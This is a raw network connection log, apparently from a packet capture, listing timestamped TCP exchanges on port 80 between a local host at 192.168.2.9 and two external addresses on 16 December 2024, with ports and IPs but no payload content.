Dec 16, 2024 10:37:35.557971001 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.558017015 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.558773041 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.558813095 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.558895111 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.559633017 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.559743881 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.559794903 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.560585022 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.560605049 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.560658932 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.561446905 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.561512947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.561570883 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.604300976 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.604424000 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.604509115 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.604727983 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.604775906 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.604849100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.605664015 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.605752945 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.605813026 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.606523991 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.606583118 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.606643915 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.607425928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.607604980 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.607676029 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.608433962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.608489990 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.608540058 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.609179974 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.609256983 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.609306097 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.610080957 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.610171080 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.610220909 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.610994101 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.611047983 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.611061096 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.611857891 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.611968994 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.612024069 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.664890051 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.664967060 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.665285110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.665361881 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.665396929 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.665445089 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.666168928 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.666207075 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.667112112 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.667170048 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.667257071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.667321920 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.667968988 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.668077946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.668132067 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.668876886 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.668998003 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.669748068 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.669811010 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.669856071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.669902086 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.670636892 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.670676947 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.671092987 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.671530008 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.671643972 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.671694994 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.672415972 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.672539949 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.672635078 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.673321962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.673439980 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.673491955 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.674200058 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.674320936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.674685001 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.675116062 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.675193071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.675241947 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.675987005 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.723398924 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.728420019 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.728586912 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.728647947 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.728959084 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.728997946 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.729420900 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.729490042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.729610920 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.729651928 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.730124950 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.730221987 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.730267048 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.730945110 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.731061935 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.731879950 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.732026100 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.732048035 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.732120991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.732748985 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.732948065 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.733026028 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.733690023 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.733827114 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.733966112 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.734699011 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.734824896 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.734867096 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.735513926 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.735557079 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.735804081 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.736367941 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.736418962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.736459970 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.737287045 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.737401962 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.737615108 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.738122940 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.738189936 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.739007950 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.739065886 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.739098072 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.739139080 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.739907026 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.740015030 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.740412951 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.740761042 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.740906954 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.741288900 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.741625071 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.741733074 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.741811991 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:35.796147108 CET	80	49777	185.215.113.16	192.168.2.9
Dec 16, 2024 10:37:35.848443031 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:36.309642076 CET	49777	80	192.168.2.9	185.215.113.16
Dec 16, 2024 10:37:39.123296022 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:39.244076967 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:39.244193077 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:39.245191097 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:39.365762949 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:40.575005054 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:40.577994108 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:40.581234932 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:40.701147079 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.031212091 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.031303883 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:41.032499075 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:41.152350903 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.471936941 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.471952915 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.472157955 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:41.481980085 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:41.601861954 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.921778917 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.921853065 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:41.921869993 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.921883106 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.921955109 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:41.922051907 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.922063112 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.922075987 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.922086954 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:41.922128916 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:41.922173023 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:41.923811913 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:42.043519020 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:42.363054991 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:42.363279104 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:42.380362988 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:42.380426884 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:42.502393007 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:42.502408981 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:42.502418995 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:42.502429008 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:42.502738953 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:42.502748966 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:42.502758980 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.443284988 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.444530964 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.444530964 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.564659119 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.881905079 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.881962061 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.882020950 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.882020950 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.886291027 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.886329889 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.886423111 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.886423111 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.891352892 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.891496897 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.891566038 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.891653061 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.899736881 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.899794102 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.899890900 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.899890900 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.909842014 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.909912109 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.909904957 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.909981012 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:43.916680098 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:43.916793108 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.006381989 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.006438971 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.006548882 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.010011911 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.010508060 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.010631084 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.011223078 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.011285067 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.011336088 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.011336088 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.016168118 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.016279936 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.016356945 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.016356945 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.024667025 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.024704933 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.024755001 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.024893045 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.033031940 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.033070087 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.033118010 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.033118010 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.041379929 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.041475058 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.074070930 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.074189901 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.074259043 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.074382067 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.078037024 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.078160048 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.078193903 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.078299046 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.086513996 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.086600065 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.086637974 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.086704969 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.094888926 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.094973087 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.094997883 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.095067978 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.103296041 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.103413105 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.103471041 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.103471041 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.111880064 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.111931086 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.111955881 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.112024069 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.120266914 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.120287895 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.120368958 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.120368958 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.131483078 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.131582022 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.131607056 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.131819010 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.135010004 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.135104895 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.136271000 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.136333942 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.136346102 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.136393070 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.143610954 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.143739939 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.143757105 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.143804073 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.150974989 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.151180983 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.198077917 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.198122025 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.198199034 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.198250055 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.199893951 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.200031042 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.200062990 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.200189114 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.206161976 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.206180096 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.206270933 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.206270933 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.210702896 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.210743904 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.210812092 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.211014986 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.216723919 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.216864109 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.216893911 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.216941118 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.222810030 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.222884893 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.222919941 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.223104954 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.228913069 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.229001999 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.229031086 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.229130030 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.234922886 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.234999895 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.235075951 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.235075951 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.241007090 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.241086960 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.241115093 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.241187096 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.246968031 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.247181892 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.247210979 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.247342110 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.252923965 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.252940893 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.252981901 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.253005981 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.265875101 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.265892982 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.265965939 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.267369032 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.267436981 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.267442942 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.267556906 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.271080017 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.271096945 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.271322966 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.271325111 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.273890018 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.274068117 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.274096012 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.274251938 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.277877092 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.277895927 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.277990103 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.277990103 CET	49808	80	192.168.2.9	185.215.113.206
Dec 16, 2024 10:37:44.281290054 CET	80	49808	185.215.113.206	192.168.2.9
Dec 16, 2024 10:37:44.281307936 CET	80	49808	185.215.113.206	192.168.2.9
